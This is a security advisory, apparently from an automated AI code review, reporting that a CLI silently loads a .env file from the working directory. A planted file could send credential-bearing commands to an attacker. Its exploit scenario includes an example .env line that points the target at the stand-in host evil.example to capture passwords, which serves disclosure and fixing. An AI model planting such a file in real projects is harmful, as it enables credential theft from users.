[security] CLI silently autoloads .env from the current working directory to resolve target/credentials

**Severity:** LOW · **Category:** `improper-input-validation` · **CWE-20**
**Location:** `bin/cliOperations.ts:238` in `cliOperations`

## Impact
Running a CLI operation in a directory containing an attacker-planted .env can send the operation (and any sensitive parameters passed as key=value, e.g. a new user's password) to an attacker-controlled endpoint instead of the intended local/remote Harper instance.

## Details
An untrusted `.env` file in the current working directory (e.g. inside a downloaded/cloned project you are about to deploy) is loaded into process.env, which then feeds resolveTarget/username/password; a command run without an explicit target= is silently redirected to an attacker-controlled HARPER_CLI_TARGET.

## Exploit scenario
An attacker ships a repo/tarball containing `.env` with `HARPER_CLI_TARGET=https://evil.example:9925`. The victim cd's into it and runs a harper operation (e.g. `harper add_user username=admin password=secret`). resolveTarget picks up the attacker target from the autoloaded env and the request, including the credential parameters, is sent to the attacker's server.

## Preconditions
- Victim runs a harper CLI operation with cwd inside an attacker-controlled directory
- The corresponding HARPER_CLI_TARGET/CLI_TARGET is not already set in the real environment (dotenv does not override existing vars)
- Victim does not pass an explicit target= argument

## Recommended fix
Do not implicitly load .env from an arbitrary cwd for a credential-bearing CLI; require an explicit opt-in path, or ignore target/credential-related keys sourced from a cwd .env, and warn when a target is resolved from an env file rather than an explicit argument.

---
Found by an automated multi-agent security review (Claude Security) against `origin/main` @ `2615b092b`, confirmed by a three-lens verification panel. Line numbers are as of that commit. No code was executed; derived from source review, so validate before remediation.

Start at bin/cliOperations.ts:238 and trace how the cwd .env reaches process.env, resolveTarget, username, and password. Validate the reported behavior, then review the CLI path for explicit target handling and environment-file resolution. Done means attacker-controlled cwd .env values no longer silently redirect credential-bearing operations, with warning or opt-in behavior matching the chosen fix.

Written by the indexing model from the issue text.